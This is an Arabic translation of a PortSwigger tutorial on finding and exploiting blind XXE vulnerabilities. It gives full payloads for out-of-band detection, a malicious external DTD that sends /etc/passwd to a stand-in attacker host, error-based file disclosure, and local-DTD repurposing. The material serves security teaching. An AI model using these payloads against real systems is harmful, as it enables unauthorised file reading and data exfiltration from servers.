إيجاد واستغلال ثغرات XXE العمياء:

في هذا القسم، سنشرح ماهية حقن XXE العمياء ونذكر التقنيات المختلفة لإيجاد واستغلال ثغرات XXE العمياء. 

ما هي XXE العمياء؟ 

تنشأ ثغرات XXE العمياء عندما يكون التطبيق عرضة لحقن XXE ولكن لا يُرجع قيم أي كائنات خارجية محددة في استجاباته. هذا يعني أن الاسترجاع المباشر للملفات من جانب الخادم غير ممكن، وبالتالي فإن استغلال الـ XXE العمياء غالباً ما يكون أصعب من ثغرات XXE العادية. 

هناك طريقتان عامتان يمكنك من خلالهما اكتشاف ثغرات XXE العمياء واستغلالها: 

  • يمكنك تحريض تبادلات شبكية من خارج النطاق، وأحياناً تسريب البيانات الحساسة ضمن البيانات المتبادلة. 
  • يمكنك إثارة أخطاء في تحليل XML بحيث تحتوي رسائل الخطأ على بيانات حساسة. 

الكشف عن XXE العمياء باستخدام تقنيات خارج النطاق  (OAST): 

يمكنك في كثير من الأحيان اكتشاف XXE العمياء باستخدام نفس الأسلوب المتبع في هجمات XXE SSRF ما عدا تحريض التبادل الشبكي من خارج النطاق إلى نظام تتحكم فيه [أي أن هناك بعض الاختلاف في أسلوب اكتشاف XXE و XXE SSRF في هذه الطريقة، بمعنى أن كلاً منهما يقوم بالوصول إلى نفس الهدف وإنما بأسلوب مختلف –الشرح من المترجم-]. على سبيل المثال، يمكنك تعريف كائن خارجي على النحو التالي: 

<!DOCTYPE foo [ <!ENTITY xxe SYSTEM "http://f2g9j7hhkax.web-attacker.com"> ]> 

ستقوم عندئذ بالاستفادة من الكائن المعرَّف في إحدى قيم البيانات ضمن الـ  XML. 

يؤدي هجوم XXE هذا إلى قيام الخادم بتقديم طلب HTTP خلفي لعنوان URL المحدد. ويمكن للمهاجم مراقبة بحث DNS وطلب HTTP الناتج، وبالتالي اكتشاف فيما إذا كان هجوم   XXE ناجحاً. 

في بعض الأحيان، يتم حظر هجمات XXE التي تَستخدم كائنات عادية، وذلك بسبب بعض عمليات التحقق من المدخلات (input) من قبل التطبيق أو بعض التشدد في محلل (parser) XML المستخدَم. في هذه الحالة، قد تتمكن من استخدام الكائنات الوسطاء (parameters) لـ XML  بدلاً من ذلك. تعد الكائنات الوسطاء في XML نوعاً خاصاً من كائنات XML والتي يمكن استدعاؤها (referenced أو الرجوع إليها، أو وضعها كمكان يمكن الرجوع إليه، ولكن في البرمجة المقصود هو ضمن أي مجال يكون هذا المتغير قابلاً للقراءة من قبل المترجم compiler ، وخارج هذا المجال لا يكون المتغير معرفاً) فقط من مكان آخر ضمن الـ  DTD. وفيما يخص هدفنا الحالي، فما عليك سوى معرفة شيئين. أولاً، يتضمن تعريف كائن XML وسيط تضمين محرف النسبة المئوية قبل اسم الكائن: 

<!ENTITY % myparameterentity "my parameter entity value" >  

وثانياً، يتم استدعاء الكائنات الوسيطة باستخدام محرف النسبة المئوية بدلاً من علامة الضم (المقصود علامة & [المترجم]) المعتادة: 

%myparameterentity; 

هذا يعني أنه يمكنك اختبار الـ XXE الأعمى باستخدام الكشف من خارج النطاق عبر كائنات XML الوسطاء كما يلي: 

<!DOCTYPE foo [ <!ENTITY % xxe SYSTEM "http://f2g9j7hhkax.web-attacker.com"> %xxe; ]>  

حمولة XXE هذه تعرِّف كائن XML وسيطاً يسمى xxe ثم تستخدم هذا الكائن ضمن الـ DTD. سيؤدي ذلك إلى بحث DNS وطلب HTTP إلى النطاق (domain) الخاص بالمهاجم، وبالتالي التحقق من نجاح الهجوم. 

استغلال XXE العمياء لتسريب البيانات خارج النطاق: 

إن اكتشاف ثغرة XXE عمياء من خلال تقنيات خارج النطاق أمر جيد جداً، لكنه لا يشير فعلياً إلى كيفية استغلال هذه الثغرة. ما يريد المهاجم تحقيقه فعلياً هو التمكن من تسريب البيانات الحساسة. يمكن تحقيق ذلك من خلال ثغرة XXE العمياء، لكن ذلك يتضمن قيام المهاجم باستضافة DTD ضار على نظام يتحكم فيه، ثم تنفيذ DTD الخارجي من داخل حمولة XXE  الموجودة ضمن النطاق. 

وكمثال على DTD ضار لتسريب محتويات ملف /etc/passwd كالتالي: 

<!ENTITY % file SYSTEM "file:///etc/passwd">  <!ENTITY % eval "<!ENTITY % exfiltrate SYSTEM 'http://web-attacker.com/?x=%file;'>">  %eval;  %exfiltrate; 

سينفذ هذا الـ DTD الخطوات التالية: 

  • يعرِّف كائن XML وسيط باسم file، يحتوي على محتويات ملف /etc/passwd 
  • يعرّف كائن XML وسيط باسم  eval، يحتوي على تصريح ديناميكي لكائن XML وسيط آخر يسمى  exfiltrate. سيتم تحديد قيمة الكائن exfiltrate من خلال تقديم طلب HTTP إلى خادم الوب التابع للمهاجم والذي يحتوي على قيمة الكائن file الموجود ضمن سلسلة الاستعلام للـ  URL. 
  • يستخدم الكائن  eval، والذي سيتسبب بتنفيذ التصريح الديناميكي عن الكائن exfiltrate. 
  • يستخدم الكائن  exfiltrate، حيث سيتم تحديد قيمته عن طريق طلب عنوان الـ URL المحدد. 

يجب على المهاجم عندئذٍ استضافة الـ DTD الضار على نظام يتحكم فيه، ويتم ذلك عادةً من خلال تحميله على خادم الويب الخاص به. على سبيل المثال، يمكن أن يقدِّم المهاجم الـ DTD الضار على عنوان URL التالي: 

http://web-attacker.com/malicious.dtd  

أخيراً، يجب على المهاجم إرسال حمولة XXE التالية إلى التطبيق المصاب (أو المعرض للخطر): 

<!DOCTYPE foo [<!ENTITY % xxe SYSTEM  
"http://web-attacker.com/malicious.dtd"> %xxe;]>  

حمولة XXE هذه تعرِّف كائن XML وسيطاً باسم xxe ثم تستخدم هذا الكائن ضمن الـ DTD. سيؤدي ذلك إلى قيام محلل XML بجلب DTD الخارجي من خادم المهاجم وتفسيره ضمن السطر. ثم يتم تنفيذ الخطوات المحددة في DTD الضار ، ويتم إرسال الملف /etc/passwd  إلى خادم المهاجم. 

ملاحظة: 

قد لا تعمل هذه التقنية مع بعض محتويات الملف، بما في ذلك محارف الانتقال إلى سطر جديد الموجودة في ملف /etc/passwd. وذلك لأن بعض أدوات تحليل (parsers)XML تقوم بجلب عنوان URL عند تعريف الكائن الخارجي باستخدام واجهة برمجية (API) والتي تقوم بالتحقق من المحارف المسموح بها ضمن عنوان الـ URL. في هذه الحالة، ربما يمكن استخدام بروتوكول FTP بدلاً من HTTP. وفي بعض الأحيان، لا يمكن تسريب البيانات التي تحتوي على محارف الانتقال إلى سطر جديد، وبالتالي يمكن استهداف ملف مثل /etc/hostname  بدلاً من ذلك. 

استغلال XXE العمياء لاسترداد البيانات عبر رسائل الخطأ: 

تتمثل إحدى الطرق البديلة لاستغلال XXE العمياء في إثارة خطأ في تحليل XML حيث تحتوي رسالة الخطأ على البيانات الحساسة التي ترغب في استرجاعها. وستكون هذه الطريقة فعالة إذا قام التطبيق بإرجاع رسالة الخطأ الناتجة ضمن استجابته.  

يمكنك إثارة رسالة خطأ في تحليل XML تتضمن محتويات الملف / etc / passwd باستخدام DTD خارجي ضار كما يلي: 

<!ENTITY % file SYSTEM "file:///etc/passwd">  <!ENTITY % eval "<!ENTITY % error SYSTEM 'file:///nonexistent/%file;'>">  %eval;  %error; 

سينفذ هذا الـ DTD الخطوات التالية: 

  • يعرّف كائن XML وسيطاً باسم file، يحتوي على محتويات الملف / etc / passwd. 
  • يعرّف كائن XML وسيطاً باسم eval ، يحتوي على تصريح ديناميكي لكائن XML وسيط آخر يسمى error. سيتم تحديد قيمة الكائن error عن طريق تحميل ملف غير موجود والذي يحتوي اسمه على قيمة الكائن file. 
  • يستخدم الكائن eval ، الذي سيؤدي إلى تنفيذ التصريح الديناميكي للكائن error. 
  • يستخدم الكائن error ، حيث سيتم تحديد قيمته من خلال محاولة تحميل الملف غير الموجود، مما يؤدي إلى ظهور رسالة خطأ تحتوي على اسم الملف غير الموجود، والذي يمثل محتويات الملف  / etc / passwd. 

يؤدي استدعاء DTD الخارجي الضار إلى ظهور رسالة خطأ كما يلي: 

java.io.FileNotFoundException: /nonexistent/root:x:0:0:root:/root:/bin/bash  daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin  bin:x:2:2:bin:/bin:/usr/sbin/nologin  ...  

استغلال XXE العمياء من خلال تطويع DTD محلي: 

تعمل التقنية السابقة بشكل جيد مع DTD خارجي، لكنها لن تعمل عادة مع DTD داخلي محدد بالكامل داخل عنصر DOCTYPE. وذلك لأن هذه التقنية تتضمن استخدام كائن XML وسيط ضمن تعريف كائن وسيط آخر. وتبعاً لمواصفات XML ، يُسمح بهذا في DTDs الخارجية ولكن ليس في DTDs الداخلية. (بعض أدوات التحليل (parsers) قد تسمح بذلك، لكن الكثير منها لا تقبله). 

فماذا عن ثغرات XXE العمياء عندما يتم حظر التبادل خارج النطاق؟ لا يمكنك تسريب البيانات عبر اتصال خارج النطاق ولا يمكنك تحميل DTD خارجي من خادم بعيد. 

في هذه الحالة، قد لا يزال ممكناً إثارة رسائل خطأ تحتوي على بيانات حساسة، بسبب وجود ثغرة في مواصفات لغة XML. إذا كان DTD الخاص بالمستند يستخدم خليطاً من تصاريح DTD الداخلية والخارجية، فإن DTD الداخلي يمكنه إعادة تعريف الكائنات التي تم التصريح عنها في DTD الخارجي. وعندما يحدث هذا، يتم تخفيف القيود المفروضة على استخدام كائن XML  وسيط ضمن تعريف كائن وسيط آخر. 

هذا يعني أنه يمكن للمهاجم استخدام تقنية XXE بالاعتماد على الأخطاء من ضمن الـ DTD الداخلي، بشرط أن يقوم كائن XML الوسيط الذي يتم استخدامه بإعادة تعريف كائن تم التصريح عنه ضمن DTD خارجي. وطبعاً، إذا كانت الاتصالات خارج النطاق محظورة، فلا يمكن تحميل DTD الخارجي من موقع بعيد (او خارجي). بدلاً من ذلك، يجب أن يكون ملف DTD الخارجي محلياً بالنسبة إلى خادم التطبيق. وبشكل أساسي، ينطوي الهجوم على تنفيذ ملف DTD  الذي يصادف وجوده في نظام الملفات المحلي وتطويعه لإعادة تعريف كائن موجود بحيث يؤدي إلى إثارة خطأ في التحليل (parsing error) يحتوي على بيانات حساسة. تم ابتكار هذه التقنية من قبل Arseniy Sharoglazov ، واحتلت المرتبة السابعة في تصنيفنا لأفضل 10 تقنيات اختراق على الويب لعام 2018. 

على سبيل المثال، افترض وجود ملف DTD على نظام ملفات الخادم في الموقع /usr/local/app/schema.dtd ، ويعرف ملف DTD هذا كائناً يسمى custom_entity. يمكن للمهاجم إثارة رسالة خطأ بتحليل XML تتضمن محتويات الملف /etc/passwd عن طريق إرسال DTD مختلط كما يلي: 

<!DOCTYPE foo [      <!ENTITY % local_dtd SYSTEM "file:///usr/local/app/schema.dtd">      <!ENTITY % custom_entity '          <!ENTITY % file SYSTEM "file:///etc/passwd">          <!ENTITY % eval "<!ENTITY &#x25; error SYSTEM 'file:///nonexistent/%file;'>">          %eval;          %error;      '>      %local_dtd;  ]>  

هذا DTD ينفذ الخطوات التالية: 

  • يعرِّف كائن XML وسيط باسم local_dtd ، يتضمن محتويات ملف DTD الخارجي الموجود في نظام ملفات الخادم. 
  • يعيد تعريف كائن XML الوسيط المسمى custom_entity ، والذي تم تعريفه سابقاً في ملف DTD الخارجي. يتم إعادة تعريف الكائن على أنه يحتوي على استغلال XXE  بالاعتماد على رسالة الخطأ الذي سبق ذكره، لإثارة رسالة خطأ تتضمن محتويات الملف /etc/passwd. 
  • يستخدم الكائن local_dtd ، حيث يتم تفسير DTD الخارجي، بما في ذلك القيمة المعاد تعريفها للكائن  custom_entity. ما سينتج رسالة الخطأ المطلوبة. 

تحديد موقع ملف DTD موجود لتطويعه: 

نظراً لأن هجوم XXE هذا يتضمن تطويع ملف DTD موجود على نظام ملفات الخادم، فإن أحد المتطلبات الرئيسية هو تحديد موقع ملف مناسب. وهذا – في الواقع – واضحٌ جداً. نظراً لأن التطبيق يعيد (يُرجِع) أي رسائل خطأ يلقيها (أو يرميها throw بمعنى ينتجها ويظهرها) محلل (parser) XML ، ويمكنك بسهولة تعداد ملفات DTD المحلية فقط من خلال محاولة تحميلها من ضمن الـ DTD الداخلي. 

على سبيل المثال، غالباً ما تحتوي أنظمة Linux التي تستخدم بيئة سطح مكتب GNOME على ملف DTD في  /usr/share/yelp/dtd/docbookx.dtd. يمكنك اختبار ما إذا كان هذا الملف موجوداً عن طريق إرسال حمولة XXE التالية، مما سيؤدي إلى حدوث خطأ إذا كان الملف مفقوداً: 

<!DOCTYPE foo [      <!ENTITY % local_dtd SYSTEM "file:///usr/share/yelp/dtd/docbookx.dtd">      %local_dtd;  ]> 

بعد اختبار قائمة ملفات DTD الشائعة لتحديد موقع ملف موجود، ستحتاج بعد ذلك إلى الحصول على نسخة من ذلك الملف واستعراضه للعثور على كائن يمكنك إعادة تعريفه. نظراً لأن العديد من الأنظمة الشائعة التي تتضمن ملفات DTD تكون مفتوحة المصدر، يمكنك عادة الحصول على نسخة من الملفات بسرعة عن طريق البحث على الإنترنت. 

المصدر: https://portswigger.net/web-security/xxe/blind